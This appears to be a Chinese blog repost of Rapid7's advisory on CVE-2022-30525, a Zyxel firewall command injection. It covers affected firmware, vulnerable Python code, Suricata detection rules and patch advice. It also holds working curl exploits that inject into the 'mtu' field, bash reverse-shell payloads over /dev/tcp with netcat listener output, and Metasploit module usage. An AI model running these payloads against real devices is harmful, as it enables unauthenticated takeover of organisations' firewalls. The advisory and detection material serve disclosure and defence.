cve-2022-30525 exp Zyxel USG FLEX命令注入漏洞

cve-2022-30525 exp Zyxel USG FLEX命令注入漏洞

Zyxel Firewall Unauthenticated Command Injection (CVE-2022-30525)

2022 年 4 月 28 日,Zyxel发布了修复 CVE-2022-30525 的固件。Rapid7 发现该漏洞是一个未经身份验证的远程命令注入漏洞,影响某些 Zyxel 防火墙的Web管理界面。利用此漏洞的攻击者可以以nobody身份执行远程命令. 该漏洞评分为 CVSSv3 9.8

cve-2022-30525漏洞描述

Zyxel USG FLEX 100(W) 固件版本 5.00 至 5.21 补丁 1、USG FLEX 200 固件版本 5.00 至 5.21 补丁 1、USG FLEX 500 固件版本 5.00 至 5.21 补丁 1、USG FLEX 700 的 CGI 程序中的存在操作系统命令注入漏洞,固件版本 5.00 到 5.21 补丁 1,USG FLEX 50(W) 固件版本 5.10 到 5.21 补丁 1,USG20(W)-VPN 固件版本 5.10 到 5.21 补丁 1,ATP 系列固件版本 5.10 到 5.21 补丁 1,VPN 系列固件版本4.60 到 5.21 补丁 1,这可能允许攻击者修改特定文件,然后在易受攻击的设备上执行一些操作系统命令。

受影响的版本

受影响的模型受影响的固件版本
USG FLEX 100, 100W, 200, 500, 700ZLD5.00至 ZLD5.21 Patch 1
USG20-VPN, USG20W-VPNZLD5.10 至ZLD5.21 Patch 1
ATP 100, 200, 500, 700, 800ZLD5.10至ZLD5.21 Patch 1

漏洞详情:

Rapid7 发现并报告了一个漏洞,该漏洞影响支持零接触配置 (ZTP) 的 Zyxel 防火墙,其中包括 ATP 系列、VPN 系列和 USG FLEX 系列(包括 USG20-VPN 和 USG20W-VPN)。该漏洞标识为 CVE-2022-30525,允许未经身份验证的远程攻击者以nobody在受影响设备上的用户身份执行任意代码。

产品描述

受影响的防火墙针对小型分支机构和公司总部部署进行宣传。他们提供VPN 解决方案、SSL 检查、Web 过滤、入侵保护和电子邮件安全,并通过防火墙宣传高达 5 Gbps 的吞吐量。

受影响的模型比较受欢迎,在Shodan上可见超过 15,000个。

cve-2022-30525 exp Zyxel USG FLEX命令注入漏洞

CVE-2022-30525 exp:未经身份验证的远程命令注入

受影响的模型容易受到通过管理 HTTP 接口进行未经身份验证的远程命令注入的攻击。命令以nobody用户身份执行。此漏洞通过/ztp/cgi-bin/handlerURI 被利用,并且是将未经过滤的攻击者输入传递os.systemlib_wan_settings.pysetWanPortSt易受攻击的功能与命令相关联被调用。攻击者可以将任意命令注入到mtudata参数中。下面是一个curl将导致防火墙执行的示例ping 192.168.1.220

curl -v --insecure -X POST -H "Content-Type: application/json" -d
'{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
:"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}'
https://192.168.1.1/ztp/cgi-bin/handler

在防火墙上,ps输出如下所示:

nobody   11040  0.0  0.2  21040  5152 ?        S    Apr10   0:00  \_ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
nobody   16052 56.4  0.6  18104 11224 ?        S    06:16   0:02  |   \_ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py
nobody   16055  0.0  0.0   3568  1492 ?        S    06:16   0:00  |       \_ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN3 4 ; ping 192.168.1.220; 5 >/dev/null 2>&1
nobody   16057  0.0  0.0   2152   564 ?        S    06:16   0:00  |           \_ ping 192.168.1.220

可以使用普通的 bash GTFOBin建立反向 shell 。例如:

curl -v --insecure -X POST -H "Content-Type: application/json" -d '
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":
"1","vlanid":"5","mtu":"; bash -c \"exec bash -i &>/dev/tcp/
192.168.1.220/1270 <&1;\";","data":"hi"}' https://192.168.1.1
/ztp/cgi-bin/handler

生成的反向 shell 可以像这样使用:

albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 192.168.1.1 37882
bash: cannot set terminal process group (11037): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ id
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
bash-5.1$ uname -a
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
Bash-5.1

Metasploit 模块

已针对这些漏洞开发了Metasploit模块。该模块可用于建立nobodyMeterpreter 会话。
以下视频演示了漏洞利用:

https://play.vidyard.com/Tjpa2yyvBS6DZPiiYC9mJM.html

我们共享了一个 PCAP,该 PCAP 捕获了 Metasploit 对 Zyxel USG FLEX 100 的利用。PCAP 可以在模块的拉取请求中找到。Metasploit 模块在字段中注入命令,mtu因此,以下 Suricata 规则应标记其使用:

alert http any any -> any any ( \
    msg:"Possible Zyxel ZTP setWanPortSt mtu Exploit Attempt"; \
    flow:to_server; \
    http.method; content:"POST"; \
    http.uri; content:"/ztp/cgi-bin/handler"; \
    http.request_body; content:"setWanPortSt"; \
    http.request_body; content:"mtu"; \
    http.request_body; pcre:"/mtu["']\s*:\s*["']\s*[^0-9]+/i";
    classtype:misc-attack; \
    sid:221270;)

漏洞修复方法:

尽快应用供应商补丁。如果可能,启用自动固件更新。禁用对系统管理 Web 界面的 WAN 访问。

漏洞披露时间表

精明的读者会注意到这个时间表对于 Rapid7 的披露来说有点不典型。根据我们的 60 天披露政策,我们建议在 6 月协调披露日期。相反,Zyxel 于 2022 年 4 月 28 日发布了解决此问题的补丁程序。当时,Zyxel 没有发布相关的 CVE 或安全公告。5 月 9 日,Rapid7 独立发现了 Zyxel 的不协调披露。然后供应商保留了 CVE-2022-30525。

本次补丁发布无异于发布漏洞细节,因为攻击者和研究人员可以轻松地逆向补丁以了解精确的利用细节,而防御者很少会费心去做。因此,我们提前发布此披露是为了帮助防御者检测漏洞,并帮助他们根据自己的风险承受能力决定何时在自己的环境中应用此修复程序。换句话说,无声的漏洞修补往往只会帮助积极的攻击者,而让防御者对新发现的问题的真正风险一无所知。

2022 年 4 月– 由 Jake Baines 发现
2022 年4 月 13 日– Rapid7 向[email protected]披露。建议披露日期为 2022 年 6 月 21 日。
2022年 4 月 14 日——Zyxel确认收到。
2022 年 4 月 20 日– Rapid7 要求更新并分享“这是如何发音 ZyXEL 的名字”的喜悦。
2022 年 4 月 21 日– Zyxel 承认漏洞的再现。
2022 年 4 月 28 日– Zyxel 在未与漏洞报告者协调的情况下发布补丁。
2022 年 4 月 29 日– Zyxel 表示补丁可能会在 2022 年 6 月 14 日之前发布。2022
年 5 月 9 日– Rapid7 实现 Zyxel 已发布补丁。Rapid7 要求 Zyxel 对静默补丁做出回应,并表示我们的团队将公开披露
2022年5 月 9 日这一周。2022 年 5 月 10 日– Zyxel 保留 CVE-2022-30525 并提出新的披露时间表。
2022 年 5 月 12 日– Zyxel公告、本披露公告和 Metasploit 模块发布

Metasploit用法

use exploit/linux/http/zyxel_ztp_rce
set RHOST <ip>
check #验证远程主机是否存在漏洞.
set LHOST <ip>
run
#验证模块获取nobody shell

先更新Metasploit:

apt update

好像还没更新,没有添加进去,

可在此处获取zyxel_ztp_rce.rb

复制到如下目录

/usr/share/metasploit-framework/modules/exploits/linux/http/
chmod+x zyxel_ztp_rce.rb

https://github.com/rapid7/metasploit-framework/pull/16563

漏洞分析

该漏洞源于使用os.system攻击者提供的数据。攻击是通过/ztp/cgi-bin/handler端点发起的。handler是一个处理各种命令的 Python 脚本。我们使用固件版本 5.21 的测试Zyxel USG FLEX 100使用handler.py带有以下支持的命令(如handler.py 中所写):

handler.py:

supported_cmd = ["ping", "dnsanswer", "ps", "peek", "kill", "pcap", "traceroute", \
  "atraceroute", "iptables", "getorchstat", \
  "getInterfaceName_out", "getInterfaceInfo", \
  #"getSingleInterfaceInfo", "getAllInterfaceInfo", \
  #"getInterfaceNameAll", "getInterfaceNameMapping", \
  "nslookup", "iproget", \
  "diagnosticinfo", "networkUnitedTest", \
  #"setRemoteAssistActive", "getRemoteAssist", \
  "setRemoteZyxelSupport", "getRemoteZyxelSupport", \
  "getWanPortList", "getWanPortSt", "setWanPortSt", "getZTPurl", "getWanConnSt", \
  "getUSBSt","setUSBmount","setUSBactive", \
  "getDiagnosticInfoUsb", \
  "getDeviceCloudInfo", "getpacketcapconf", "getpacketcapst", "packetcapstart", "packetcapend", "packetcapremovefile", \
  "getlanguagest","setlanguage"
]

这些命令通过设计为未经身份验证的用户提供了各种有趣的选项。易受 CVE-2022-30525 攻击的命令是getWanPortSt.

elif req["command"] == "getWanPortSt":
    reply = lib_wan_setting.getWanPortSt()  

上面,我们可以看到getWanPortSt调用了lib_wan_setting.getWanPortSt. 这是在lib_wan_setting.py.

'''
***************************************************************************
* setwanport function
* @param port: port for setting
* @param vlanid: vlan id , 0 for default disalbing vlan
* @param proto: type of wan (dhcp, static, pppoe)
* @param data: detail setting for different port type
*
* @return reply{
*               "code": <exception error code>,
*               "message": <exception>,
*               "result": {'ZTPurl':"xx"}
*          }
***************************************************************************
'''
def setWanPortSt(req):

    reply = {}
    vlan_tagged = ''
    logging.info(req)
    port = req["port"].strip()

getWanPortSt命令需要四个参数:vlanidprotodatavlan_tagged。此外,它接受一个mtu参数。两者都data可以mtu被利用来进行命令注入。data实际上包含一个额外的 JSON blob,因此更容易利用mtu.

最终,经过一定程度的验证,所有提供的参数都组合成一个命令并执行。

cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] \
        + ' ' + data['auth_type'] \
        + ' ' + data['ipaddr'] + ' ' + data['gateway'] \
        + ' ' + data['firstDnsServer'] + ' ' + req['mtu']
    if vlan_tagged == '1':
        cmdLine += ' ' + vlanid
    cmdLine += ' >/dev/null 2>&1'
    
logging.info("cmdLine = %s" % cmdLine)
with open("/tmp/local_gui_write_flag", "w") as fout:
    fout.write("1");

response = os.system(cmdLine) 
logging.info(response)

curl使用如下所示的POC反向 bash shell 。请注意,该命令被插入到该mtu字段中。

curl -v --insecure -X POST -H "Content-Type: application/json" -d '{"command":"setWanPortSt","proto":"dhcp","port":"1270","vlan_tagged":"1","vlanid":"5","mtu":"; bash -c \"exec bash -i &>/dev/tcp/10.0.0.2/1270 <&1;\";","data":"hi"}' https://10.0.0.14/ztp/cgi-bin/handler

在攻击者机器上,这可以使用nc

albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.14 41498
bash: cannot set terminal process group (10800): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ id     
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
bash-5.1$ ps faux
ps faux

从 shell 中,我们可以从以下角度观察攻击的外观ps faux

nobody   13184  0.0  0.2  20952  5072 ?        S    May09   0:00  \_ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
nobody     640  9.3  0.6  18104 11224 ?        S    08:58   0:02  |   \_ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py
nobody     641  0.0  0.0   3568  1508 ?        S    08:58   0:00  |       \_ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN1269 1270 ; bash -c "exec bash -i &>/dev/tcp/10.0.0.2/1270 <&1;"; 5 >/dev/null 2>&1
nobody     643  0.0  0.0   3716  1760 ?        S    08:58   0:00  |           \_ bash -i

侵害指标(IOCs)

不幸的是,防火墙的日志记录并没有提供任何有用的洞察力。受影响的防火墙确实支持诊断功能,但在生产环境中运行并不明智。如果可能,我们建议监控系统入口和出口是否存在异常行为。以下 Suricata 规则应有助于在该mtu字段用于漏洞利用时识别漏洞利用:

alert http any any -> any any ( \
    msg:"Possible Zyxel ZTP setWanPortSt mtu Exploit Attempt"; \
    flow:to_server; \
    http.method; content:"POST"; \
    http.uri; content:"/ztp/cgi-bin/handler"; \
    http.request_body; content:"setWanPortSt"; \
    http.request_body; content:"mtu"; \
    http.request_body; pcre:"/mtu["']\s*:\s*["']\s*[^0-9]+/i";
    classtype:misc-attack; \
    sid:221270;)

建议

尽快更新受影响的防火墙。受影响的防火墙都支持自动更新,但需要启用该功能。我们建议立即启用自动更新。最后,在理想情况下,管理 Web 界面不会暴露在互联网上。如果可能,请禁用 WAN 访问。如果这不可能,请尝试强制执行严格的 IP 允许列表。

from

转载请注明出处及链接

One comment

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注